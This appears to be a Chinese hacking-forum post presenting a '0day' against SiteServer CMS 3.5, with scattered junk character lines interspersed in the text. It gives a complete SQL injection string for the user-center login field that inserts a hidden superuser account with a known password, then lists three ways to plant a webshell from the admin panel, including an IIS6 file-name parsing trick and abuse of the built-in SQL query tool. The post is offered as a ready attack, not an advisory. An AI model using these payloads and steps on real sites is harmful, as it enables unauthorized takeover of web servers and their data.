SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn
) ~0 ~1 N: A/ u! ^8 @/ T+ r, S


EXP:
, F! h5 S- e, K1 H. c; j9 [  u
/ n, e+ o. R* p% V直接访问UserCenter/login.aspx


- V. ]6 m5 h5 W  ~1 E1 O- I7 f
用户名处输入：
$ n, U7 x- ~- V5 T: @
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

4 l, r1 }' ^' H0 K" G

% A9 b# b" E0 C6 B密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。

5 Y# W! M7 D  U4 `

, `8 Q1 k- a+ M( |之后再访问后台SiteServer/login.aspx用插入的用户登陆
: `: @4 c4 V7 f& r; O


后台拿webshell的三种方法：

9 l0 t1 Z: j1 s一、
! T" s4 Q4 S: M+ N
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

: _; ^. K; n/ d7 H; l/ X$ E) h二、

成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/

1 ^6 v3 \/ x! g; u  i+ [8 Q& O用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

（ps：后台添加用户时不会验证是否含有非法字符）
- o) N+ B2 A7 l. i8 w1 k
+ G& F8 [: C- U5 v' }) d三、

3 H; x' s+ h! \8 h, h6 U系统工具-》实用工具-》机器参数查看
( @' g, Y/ e0 M! B7 I7 r可以看到数据库类型、名称，WEB路径
6 |; H/ [6 z" U. L6 t$ O
系统工具-》数据库工具-》SQL语句查询
  E$ Q3 K1 i$ i! N这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。